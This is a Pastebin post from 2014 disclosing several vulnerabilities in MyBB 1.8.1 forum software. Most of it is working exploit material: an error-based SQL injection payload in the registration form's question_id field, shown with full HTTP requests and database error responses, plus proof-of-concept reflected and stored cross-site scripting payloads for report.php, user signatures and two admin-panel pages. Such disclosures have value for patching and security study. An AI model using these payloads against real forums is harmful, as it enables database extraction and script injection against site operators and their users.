Advertisement
Guest User

Untitled

a guest
Nov 13th, 2014
859
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.51 KB | None | 0 0
  1. #Title: MyBB 1.8.X - Multiple Vulnerabilities
  2. #Date: 13.11.2014
  3. #Tested on: Linux / Apache 2.2 / PHP 5 (localhost)
  4. #Vendor: mybb.com
  5. #Version: => 1.8.1 - Latest ATM
  6. #Author: Smash_
  7.  
  8.  
  9. Latest MyBB forum software suffers on multiple vulnerabilities, including SQL Injection and Cross Site Scripting. Such bugs may allow attacker to perform remote sql queries against the database, and so on.
  10.  
  11. Sanitize your inputs ;)
  12.  
  13.  
  14. 1. SQL Injection
  15.  
  16. Vuln:
  17. POST 'question_id' - ID'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#
  18.  
  19. #1 - Request (question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#):
  20. POST /mybb-1.8.1/member.php HTTP/1.1
  21. Host: localhost
  22. Content-Type: application/x-www-form-urlencoded
  23. Content-Length: 408
  24.  
  25. regcheck1=&regcheck2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1415880544&step=registration&action=do_register
  26.  
  27. #1 - Response:
  28. HTTP/1.1 503 Service Temporarily Unavailable
  29. Date: Thu, 13 Nov 2014 15:16:02 GMT
  30. <div id="content">
  31. <h2>MyBB SQL Error</h2>
  32.  
  33. <div id="error">
  34. <p>MyBB has experienced an internal SQL error and cannot continue.</p><dl>
  35. <dt>SQL Error:</dt>
  36. <dd>1054 - Unknown column '9' in 'order clause'</dd>
  37. <dt>Query:</dt>
  38. SELECT q.*, s.sid
  39. FROM mybb_questionsessions s
  40. LEFT JOIN mybb_questions q ON (q.qid=s.qid)
  41. WHERE q.active='1' AND s.sid='C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' ORDER BY 9#'
  42. </dd>
  43.  
  44.  
  45. #2 - Request (question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#):
  46. POST /mybb-1.8.1/member.php HTTP/1.1
  47. Host: localhost
  48. Content-Type: application/x-www-form-urlencoded
  49. Content-Length: 409
  50.  
  51. regcheck1=&regcheck2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1415880544&step=registration&action=do_register
  52.  
  53. #2 - Response:
  54. HTTP/1.1 200 OK
  55. Date: Thu, 13 Nov 2014 15:21:15 GMT
  56. (...)
  57. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- start: member_register -->
  58. <html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
  59. <head>
  60. <title>Forums - Registration</title>
  61.  
  62.  
  63. #3 - Request (Final POC):
  64. POST /mybb-1.8.1/member.php HTTP/1.1
  65. Host: localhost
  66. Content-Type: application/x-www-form-urlencoded
  67. Content-Length: 475
  68.  
  69. regcheck1=&regcheck2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2&regtime=1415880544&step=registration&action=do_register
  70.  
  71. #3 - Response:
  72. HTTP/1.1 503 Service Temporarily Unavailable
  73. Date: Thu, 13 Nov 2014 15:24:34 GMT
  74. (...)
  75. <div id="content">
  76. <h2>MyBB SQL Error</h2>
  77.  
  78. <div id="error">
  79. <p>MyBB has experienced an internal SQL error and cannot continue.</p><dl>
  80. <dt>SQL Error:</dt>
  81. <dd>1062 - Duplicate entry 'mybb:1' for key 'group_key'</dd>
  82. <dt>Query:</dt>
  83. <dd>
  84. SELECT q.*, s.sid
  85. FROM mybb_questionsessions s
  86. LEFT JOIN mybb_questions q ON (q.qid=s.qid)
  87. WHERE q.active='1' AND s.sid='-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' or 1 group by concat_ws(0x3a,database(),floor(rand(0)*2)) having min(0) or 1#'
  88. </dd>
  89. </dl>
  90. (...)
  91.  
  92.  
  93.  
  94. 2. Cross Site Scripting
  95.  
  96. a) Reflected XSS - Report post
  97.  
  98. Vuln:
  99. GET 'type' - XSS"><script>alert(666)</script>
  100.  
  101. localhost/mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1
  102.  
  103. Request:
  104. GET /mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1 HTTP/1.1
  105. Host: localhost
  106.  
  107. Response:
  108. HTTP/1.1 200 OK
  109. Set-Cookie: sid=27ec1f0b75b3c6b9d852e6614144a452; path=/mybb-1.8.1/; HttpOnly
  110. Content-Length: 1247
  111. Content-Type: text/html
  112.  
  113. <div class="modal">
  114. <div style="overflow-y: auto; max-height: 400px;" class="modal_0">
  115. <form action="report.php" method="post" class="reportData_0" onsubmit="javascript: return Report.submitReport(0);">
  116. <input type="hidden" name="my_post_key" value="c08308117fcadae6609372f46fa97835" />
  117. <input type="hidden" name="action" value="do_report" />
  118. <input type="hidden" name="type" value="XSS"><script>alert(666)</script>" />
  119. <input type="hidden" name="pid" value="0" />
  120.  
  121.  
  122. b) Stored XSS - Signature
  123.  
  124. Vuln:
  125. POST 'signature' - [video=youtube]http://youtube.com?"+xss="true"+666="[/video]
  126.  
  127. #1 - Request (change signature):
  128. POST /mybb-1.8.1/usercp.php HTTP/1.1
  129. Host: localhost
  130. Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig
  131. Content-Type: application/x-www-form-urlencoded
  132. Content-Length: 203
  133.  
  134. my_post_key=c08308117fcadae6609372f46fa97835&signature=%5Bvideo%3Dyoutube%5Dhttp%3A%2F%2Fyoutube.com%3F%22+xss%3D%22true%22+666%3D%22%5B%2Fvideo%5D&updateposts=0&action=do_editsig&submit=Update+Signature
  135.  
  136. #2 - Request (user's profile):
  137. GET /mybb-1.8.1/member.php?action=profile&uid=2 HTTP/1.1
  138. Host: localhost
  139. Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig
  140.  
  141. #2 - Response:
  142. HTTP/1.1 200 OK
  143. Set-Cookie: sid=e68f1b6fab0737d7057b546e24d8106e; path=/mybb-1.8.1/; HttpOnly
  144. Content-Length: 12740
  145. Content-Type: text/html; charset=UTF-8
  146. (...)
  147. <table border="0" cellspacing="0" cellpadding="5" class="tborder tfixed">
  148. <tr>
  149. <td class="thead"><strong>user's Signature</strong></td>
  150. </tr>
  151. <tr>
  152. <td class="trow1 scaleimages">[Video: <a href="http://youtube.com?" xss="true" 666="" target="_blank">http://youtube.com?" xss="true" 666="</a>]</td>
  153. </tr>
  154. </table>
  155. <br />
  156.  
  157.  
  158. c) Reflected XSS - Templates (AP)
  159.  
  160. Vuln:
  161. GET 'title' - title"><script>alert(666)</script>
  162.  
  163. localhost/mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar"><script>alert(666)</script>&sid=1&expand=1
  164.  
  165. Request:
  166. GET /mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar%22%3E%3Cscript%3Ealert(666)%3C/script%3E&sid=1&expand=1 HTTP/1.1
  167. Host: localhost
  168.  
  169. Response:
  170. HTTP/1.1 200 OK
  171. (...)
  172. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  173. <html xmlns="http://www.w3.org/1999/xhtml">
  174. <head profile="http://gmpg.org/xfn/1">
  175. <title>Editing Template: calendar"><script>alert(666)</script></title>
  176.  
  177.  
  178. d) Reflected XSS - Languages (AP)
  179.  
  180. Vuln:
  181. GET 'file' - <a onmouseover=alert(666)>woot
  182.  
  183. localhost/mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=<a onmouseover=alert(666)>woot
  184.  
  185. Request:
  186. GET /mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=%3Ca%20onmouseover=alert(666)%3Ewoot HTTP/1.1
  187. Host: localhost
  188.  
  189. Response:
  190. HTTP/1.1 200 OK
  191. (...)
  192. <a href="index.php?module=config-languages">Languages</a> &raquo; <a href="index.php?module=config-languages&amp;action=edit&amp;lang=english">English (American)</a> &raquo; <span class="active"><a onmouseover=alert(666)>woot</span>
  193. (...)
  194. <div class="title"><a onmouseover=alert(666)>woot</div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement